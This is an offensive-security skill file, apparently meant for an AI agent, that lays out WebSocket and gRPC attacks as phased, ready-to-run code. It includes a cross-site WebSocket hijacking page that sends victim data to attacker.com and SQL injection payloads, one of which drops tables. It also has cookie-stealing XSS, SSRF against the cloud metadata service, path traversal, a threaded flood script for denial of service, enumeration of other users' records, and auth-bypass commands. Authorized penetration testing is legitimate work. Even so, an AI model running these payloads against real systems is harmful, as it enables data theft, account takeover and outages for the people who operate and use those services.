---
name: rt-websockets-grpc
description: "WebSocket and gRPC/protobuf attack skill for authorized engagements. WebSocket authentication bypass, message manipulation, cross-site WebSocket hijacking (CSWSH), WebSocket-based SQLi/XSS/SSRF injection, gRPC endpoint enumeration, protobuf message decoding and tampering, gRPC reflection abuse, and server-sent events testing. Use when testing modern web applications using real-time communication protocols."
---

# rt-websockets-grpc — WebSocket & gRPC/Protobuf Attacks

## Overview

Modern web applications increasingly use WebSockets for real-time features (chat, notifications, live data) and gRPC for microservice communication. These protocols bypass many traditional WAF rules and security controls designed for HTTP/REST — creating overlooked attack surfaces.

---

## Part 1 — WebSocket Attacks

### Phase 1 — WebSocket Discovery & Interception

```bash
# Find WebSocket connections
# Browser DevTools → Network → WS tab (filter by WS)
# Look for: ws:// or wss:// connections in page source

# Identify via Burp Suite
# Proxy → WebSockets history tab shows all WS messages
# Intercept → tick "Intercept WebSocket messages"

# Discover WebSocket endpoints
grep -r "new WebSocket\|io.connect\|socket.connect" ./js_files/
grep -r "ws://\|wss://" ./js_files/

# Test with wscat (WebSocket client)
npm install -g wscat
wscat -c wss://target.com/ws
wscat -c wss://target.com/ws -H "Cookie: session=YOUR_SESSION"
# > {"type":"ping"}
# < {"type":"pong"}
```

### Phase 2 — Authentication Bypass

```bash
# WebSocket auth often handled differently from HTTP
# Common patterns:
# 1. Auth via initial HTTP handshake (Upgrade request carries cookie/token)
# 2. Auth via first WS message after connection
# 3. No auth on WS (assumes network-level controls)

# Test: connect without auth credentials
wscat -c wss://target.com/ws  # No cookie
# Send normal messages — if responses come back = no auth

# Token in URL (insecure — logged in server access logs)
wscat -c "wss://target.com/ws?token=LEAKED_TOKEN"

# Test with other users' tokens
wscat -c wss://target.com/ws -H "Cookie: session=OTHER_USER_SESSION"
```

### Phase 3 — Cross-Site WebSocket Hijacking (CSWSH)

```bash
# WebSocket upgrade requests don't enforce SameSite cookie by default
# If no CSRF token in handshake → CSWSH possible

# Check: does WS upgrade include CSRF token?
# Burp: look at GET /ws HTTP/1.1 request — only Origin + Cookie = vulnerable

# CSWSH PoC (attacker's page)
cat > cswsh.html << 'EOF'
<html><body>
<script>
var ws = new WebSocket('wss://target.com/ws');
// Cookie sent automatically (same as victim's browser)
ws.onopen = function() {
    ws.send('{"type":"get_profile"}');  // Request victim's data
};
ws.onmessage = function(e) {
    // Exfil to attacker
    fetch('https://attacker.com/collect?data=' + encodeURIComponent(e.data));
};
</script>
</body></html>
EOF
# Host cswsh.html → trick victim into visiting → their WS messages exfiltrated
```

### Phase 4 — WebSocket Message Injection

```bash
# Inject attack payloads into WebSocket messages
# SQLi, XSS, SSRF, Command injection via WS

# SQLi in WS message
wscat -c wss://target.com/ws -H "Cookie: session=SESSION"
> {"action":"search","query":"test' OR '1'='1"}
> {"action":"search","query":"' UNION SELECT password FROM users--"}

# XSS via WS (reflected to other clients in chat apps)
> {"type":"message","content":"<img src=x onerror=alert(document.cookie)>"}

# SSRF via WS
> {"action":"fetch_url","url":"http://169.254.169.254/latest/meta-data/"}
> {"action":"fetch_url","url":"http://internal-service:8080/admin"}

# Path traversal
> {"action":"read_file","path":"../../../../etc/passwd"}

# Burp Suite — modify WS messages in flight
# WebSockets history → right-click message → Send to Repeater
# Modify payload → Send
```

### Phase 5 — WebSocket Denial of Service

```bash
# Large message flood
python3 << 'EOF'
import websocket, threading

def flood():
    ws = websocket.WebSocket()
    ws.connect("wss://target.com/ws", 
                header=["Cookie: session=SESSION"])
    payload = "A" * 65535  # Max frame size
    for _ in range(1000):
        ws.send(payload)

threads = [threading.Thread(target=flood) for _ in range(50)]
[t.start() for t in threads]
[t.join() for t in threads]
EOF
```

---

## Part 2 — gRPC / Protobuf Attacks

### Phase 1 — gRPC Discovery & Enumeration

```bash
# gRPC runs over HTTP/2 on port 443 or custom ports
# Content-Type: application/grpc

# Fingerprint gRPC
curl -I https://target.com/
# Look for: content-type: application/grpc

nmap -sV -p 443,50051,8443 TARGET_IP
# 50051 = common gRPC default port

# gRPC reflection (server lists its services — if enabled)
# grpc_cli tool
apt install grpc-cli -y 2>/dev/null || pip3 install grpcurl

# grpcurl — curl for gRPC
grpcurl -plaintext TARGET_IP:50051 list
# Output: list of services
# com.target.UserService
# com.target.AuthService

grpcurl -plaintext TARGET_IP:50051 list com.target.UserService
# Output: methods
# GetUser
# CreateUser
# UpdateUser

grpcurl -plaintext TARGET_IP:50051 describe com.target.UserService.GetUser
# Output: full proto definition including field names/types
```

### Phase 2 — Protobuf Message Decoding

```bash
# gRPC messages are binary protobuf — not human readable
# Decode to understand structure

# Install protobuf tools
pip3 install protobuf grpcio grpcio-tools

# Capture gRPC traffic in Burp (HTTP/2 proxy)
# Raw protobuf bytes look like: 0a 05 68 65 6c 6c 6f

# Decode with protoc
python3 << 'EOF'
from google.protobuf import descriptor_pb2
from google.protobuf.message import DecodeError
import sys

# Raw protobuf bytes (from Burp intercept, after removing 5-byte gRPC header)
raw = bytes.fromhex("0a0568656c6c6f120577")

# Brute-force field interpretation
from google.protobuf import descriptor_pool, symbol_database
from google.protobuf.descriptor import FieldDescriptor

# Use protoscope for visual decode
# pip3 install protoscope
# protoscope < binary_message.bin
EOF

# blackboxprotobuf — decode unknown protobuf without .proto file
pip3 install blackboxprotobuf
python3 << 'EOF'
import blackboxprotobuf
message, typedef = blackboxprotobuf.decode_message(raw_bytes)
print(message)
# Shows field numbers and values even without proto definition
EOF

# Burp Suite gRPC extension
# BApp Store → "gRPC-Web" or "HTTP/2 over TLS"
# Automatically decodes protobuf in Burp UI
```

### Phase 3 — gRPC Message Tampering

```bash
# Intercept → decode → modify → re-encode → send

python3 << 'EOF'
import grpc
import target_pb2       # Generated from .proto (or reconstructed)
import target_pb2_grpc

# Connect to gRPC service
channel = grpc.insecure_channel('target.com:50051')
# For TLS:
# channel = grpc.secure_channel('target.com:443', grpc.ssl_channel_credentials())

stub = target_pb2_grpc.UserServiceStub(channel)

# Normal request
request = target_pb2.GetUserRequest(user_id=123)
response = stub.GetUser(request)
print(response)

# Tamper: access other user's data (IDOR)
for uid in range(1, 1000):
    request = target_pb2.GetUserRequest(user_id=uid)
    try:
        response = stub.GetUser(request)
        print(f"User {uid}: {response.username} | {response.email}")
    except grpc.RpcError as e:
        pass

# Mass assignment: send extra fields
request = target_pb2.UpdateUserRequest(
    user_id=123,
    name="test",
    # Try admin field not in normal API
    is_admin=True,          # field 99 (guessed)
    role="administrator"    # field 100 (guessed)
)
response = stub.UpdateUser(request)
EOF
```

### Phase 4 — gRPC Authentication Bypass

```bash
# gRPC auth via metadata (HTTP headers equivalent)

# Check if auth is enforced on all methods
grpcurl -plaintext TARGET:50051 com.target.UserService/GetUser \
  -d '{"user_id": 1}'
# If response without token → no auth

# JWT in metadata
grpcurl -plaintext TARGET:50051 com.target.UserService/GetUser \
  -H "authorization: Bearer EXPIRED_OR_INVALID_JWT" \
  -d '{"user_id": 1}'

# Try accessing admin methods without auth
grpcurl -plaintext TARGET:50051 com.target.AdminService/DeleteUser \
  -d '{"user_id": 99}'

# gRPC reflection = information disclosure (if enabled in prod)
grpcurl -plaintext TARGET:50051 grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo
# Returns ALL service definitions — full API map without documentation
```

### Phase 5 — Injection via gRPC

```bash
# Inject attack payloads into protobuf string fields

python3 << 'EOF'
import grpc, target_pb2, target_pb2_grpc

channel = grpc.insecure_channel('target.com:50051')
stub = target_pb2_grpc.SearchServiceStub(channel)

# SQLi
payloads = [
    "' OR '1'='1",
    "' UNION SELECT password FROM users--",
    "'; DROP TABLE users;--",
]
for p in payloads:
    req = target_pb2.SearchRequest(query=p)
    try:
        r = stub.Search(req)
        print(f"SQLi [{p[:20]}]: {r}")
    except Exception as e:
        print(f"Error: {e}")

# SSRF via URL field
req = target_pb2.FetchRequest(url="http://169.254.169.254/latest/meta-data/")
r = stub.Fetch(req)
print("SSRF response:", r.content[:200])
EOF
```

---

## Tools Summary

```bash
# WebSocket tools
wscat          # CLI WebSocket client
websocat       # Feature-rich WS client (Rust)
wsfuzz         # WebSocket fuzzer

# gRPC tools
grpcurl        # curl equivalent for gRPC
grpc_cli       # Official gRPC CLI
Evans          # Interactive gRPC client (REPL)
blackboxprotobuf  # Protobuf decode without .proto
Burp gRPC plugin  # BApp Store

# Install Evans (interactive gRPC)
go install github.com/ktr0731/evans@latest
evans --host target.com --port 50051 --reflection repl
# Interactive: show package, show service, call GetUser
```

---

## Skill Levels

**BEGINNER:** wscat for WebSocket testing · grpcurl reflection enumeration · Basic message injection

**INTERMEDIATE:** CSWSH exploit · Protobuf decode with blackboxprotobuf · gRPC IDOR via field tampering

**ADVANCED:** Burp Suite WS/gRPC interception and modification · Authentication bypass chains · Mass assignment via unknown fields

**EXPERT:** Custom gRPC proxy for automated fuzzing · WebSocket race conditions · Binary protocol reverse engineering

---

## References

- PortSwigger WebSockets: https://portswigger.net/web-security/websockets
- grpcurl: https://github.com/fullstorydev/grpcurl
- blackboxprotobuf: https://github.com/nccgroup/blackboxprotobuf
- Evans: https://github.com/ktr0731/evans
- MITRE T1071.001: https://attack.mitre.org/techniques/T1071/001/
